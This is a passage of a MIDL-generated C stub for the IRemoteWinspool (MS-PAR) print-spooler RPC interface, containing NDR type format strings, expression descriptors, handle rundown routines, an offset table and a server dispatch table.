[maybenull_sizeis] */\n/* 3226 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3228) */\n/* 3228 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3230 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3232 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3234 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3236 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3238 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3244 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3248 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3250 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3252 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3254) */\n/* 3254 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3256 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3258 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3260 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3262 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3264 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3266 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3270 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3274 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3276 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3278 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (3322) */\n/* 3280 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 3282 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3284 */\t0x1,\t\t/* FC_BYTE */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3286 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3288 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3292 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3294 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfff1 ),\t/* Offset= -15 (3280) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3298 */\t\n\t\t\t0x1d,\t\t/* FC_SMFARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3300 */\tNdrFcShort( 0x208 ),\t/* 520 */\n/* 3302 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3304 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3306 */\tNdrFcShort( 0x228 ),\t/* 552 */\n/* 3308 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3310 */\tNdrFcShort( 0xffe8 ),\t/* Offset= -24 (3286) */\n/* 3312 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3314 */\tNdrFcShort( 0xf868 ),\t/* Offset= -1944 (1370) */\n/* 3316 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3318 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffeb ),\t/* Offset= -21 (3298) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3322 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3326 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3328 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3330 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3332 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3334 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3342 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3346 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3348 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3350 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3354 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3358 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3360 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (3304) */\n/* 3362 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3364 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3366 */\tNdrFcShort( 0xffb0 ),\t/* Offset= -80 (3286) */\n/* 3368 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3370 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3372) */\n/* 3372 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 3374 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 3376 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3380 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3382 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3384 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3392 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3394 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 3396 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (3470) */\n/* 3398 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 3400 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 3402 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3404 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3406 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3408 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3412 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3416 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3418) */\n/* 3418 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3420 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 3422 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3426 */\tNdrFcShort( 0xf2a0 ),\t/* Offset= -3424 (2) */\n/* 3428 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3432 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 3434 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3438 */\tNdrFcShort( 0x800b ),\t/* Simple arm type: FC_HYPER */\n/* 3440 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 3444 */\tNdrFcShort( 0x8002 ),\t/* Simple arm type: FC_CHAR */\n/* 3446 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 3450 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3454) */\n/* 3452 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3451) */\n/* 3454 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3456 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3460 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3466) */\n/* 3462 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3464 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3466 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3468 */\tNdrFcShort( 0xf286 ),\t/* Offset= -3450 (18) */\n/* 3470 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3472 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3474 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3476 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3476) */\n/* 3478 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3480 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3482 */\tNdrFcShort( 0xffac ),\t/* Offset= -84 (3398) */\n/* 3484 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3486 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3488 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3490) */\n/* 3490 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3492 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 3494 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3496 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (3504) */\n/* 3498 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 3500 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (3470) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3508 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 3510 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3512) */\n/* 3512 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 3514 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3516) */\n/* 3516 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3520 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x54,\t\t/* FC_DEREFERENCE */\n/* 3522 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3524 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3526 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3528 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3532 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3536 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3542 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3544 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3548 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3552 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3554 */\tNdrFcShort( 0xffc0 ),\t/* Offset= -64 (3490) */\n/* 3556 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3558 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 3560 */\tNdrFcShort( 0x106 ),\t/* Offset= 262 (3822) */\n/* 3562 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0xd,\t\t/* FC_ENUM16 */\n/* 3564 */\t0x6,\t\t/* Corr desc: FC_SHORT */\n\t\t\t0x0,\t\t/*  */\n/* 3566 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3568 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3570 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3572 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3576 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3580 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (3582) */\n/* 3582 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 3584 */\tNdrFcShort( 0x5 ),\t/* 5 */\n/* 3586 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 3590 */\tNdrFcShort( 0x1c ),\t/* Offset= 28 (3618) */\n/* 3592 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 3596 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (3658) */\n/* 3598 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 3602 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (3676) */\n/* 3604 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 3608 */\tNdrFcShort( 0x76 ),\t/* Offset= 118 (3726) */\n/* 3610 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 3614 */\tNdrFcShort( 0x88 ),\t/* Offset= 136 (3750) */\n/* 3616 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (3615) */\n/* 3618 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3620 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3622 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3624 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (3638) */\n/* 3626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3628 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3630 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3632 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 3634 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3636 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3638 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3640 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3642 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3644 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3646 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3648 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3650 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3652 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3654 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3656 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3658 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3660 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3662 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3664 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3664) */\n/* 3666 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3668 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3670 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 3672 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x3e,\t\t/* FC_STRUCTPAD2 */\n/* 3674 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3676 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3678 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 3680 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3682 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (3698) */\n/* 3684 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3686 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3688 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3690 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 3692 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3694 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3696 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3698 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3700 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3702 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3704 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3706 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3708 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3710 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3712 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3714 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3716 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3718 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3720 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3722 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3724 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3726 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3728 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 3730 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3732 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (3738) */\n/* 3734 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 3736 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3738 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3740 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3742 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3744 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3746 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3748 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3750 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 3752 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3754 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3756 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (3760) */\n/* 3758 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3760 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 3762 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3764 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3766 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 3768 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3770 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3770) */\n/* 3772 */\t0xd,\t\t/* FC_ENUM16 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 3774 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3776 */\tNdrFcShort( 0xff2a ),\t/* Offset= -214 (3562) */\n/* 3778 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3780 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x7,\t\t/* 7 */\n/* 3782 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3784 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 3786 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 3788 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 3790 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3796 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3800 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 3804 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 3806 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 3808 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3812 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3816 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 3818 */\tNdrFcShort( 0xffca ),\t/* Offset= -54 (3764) */\n/* 3820 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 3822 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 3824 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3826 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (3780) */\n/* 3828 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (3828) */\n/* 3830 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 3832 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Dpar_MIDL_EXPR_FORMAT_STRING ms2Dpar__MIDL_ExprFormatString =\n    {\n        0,\n        {\n\t\t\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/*  2 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/*  4 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 12 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 16 */\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/* 18 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 22 */\tNdrFcShort( 0xfff4 ),\t/* -12 */\n/* 24 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcLong( 0xffff ),\t/* 65535 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const NDR_RUNDOWN RundownRoutines[] = \n    {\n    PRINTER_HANDLE_rundown\n    ,GDI_HANDLE_rundown\n    ,RMTNTFY_HANDLE_rundown\n    };\n\n\nstatic const unsigned short ms2Dpar__MIDL_ExprFormatStringOffsetTable[] =\n{\n0,\n16,\n};\n\nstatic const NDR_EXPR_DESC  ms2Dpar_ExprDesc = \n {\nms2Dpar__MIDL_ExprFormatStringOffsetTable,\nms2Dpar__MIDL_ExprFormatString.Format\n};\n\nstatic const unsigned short IRemoteWinspool_FormatStringOffsetTable[] =\n    {\n    0,\n    72,\n    144,\n    206,\n    280,\n    366,\n    434,\n    484,\n    528,\n    596,\n    664,\n    720,\n    764,\n    826,\n    870,\n    914,\n    958,\n    1032,\n    1112,\n    1180,\n    1254,\n    1298,\n    1348,\n    1398,\n    1472,\n    1528,\n    1602,\n    1700,\n    1792,\n    1866,\n    1934,\n    1984,\n    2040,\n    2090,\n    2176,\n    2238,\n    2294,\n    2368,\n    2412,\n    2490,\n    2544,\n    2622,\n    2694,\n    2748,\n    2814,\n    2874,\n    2952,\n    3024,\n    3096,\n    3168,\n    3228,\n    3282,\n    3330,\n    3384,\n    3438,\n    3516,\n    3576,\n    3624,\n    3690,\n    3746,\n    3790,\n    3846,\n    3896,\n    3962,\n    4034,\n    4106,\n    4178,\n    4256,\n    4310,\n    4372,\n    4428,\n    4490,\n    4546,\n    4602,\n    4664\n    };\n\n\nstatic const RPC_DISPATCH_FUNCTION IRemoteWinspool_table[] =\n    {\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    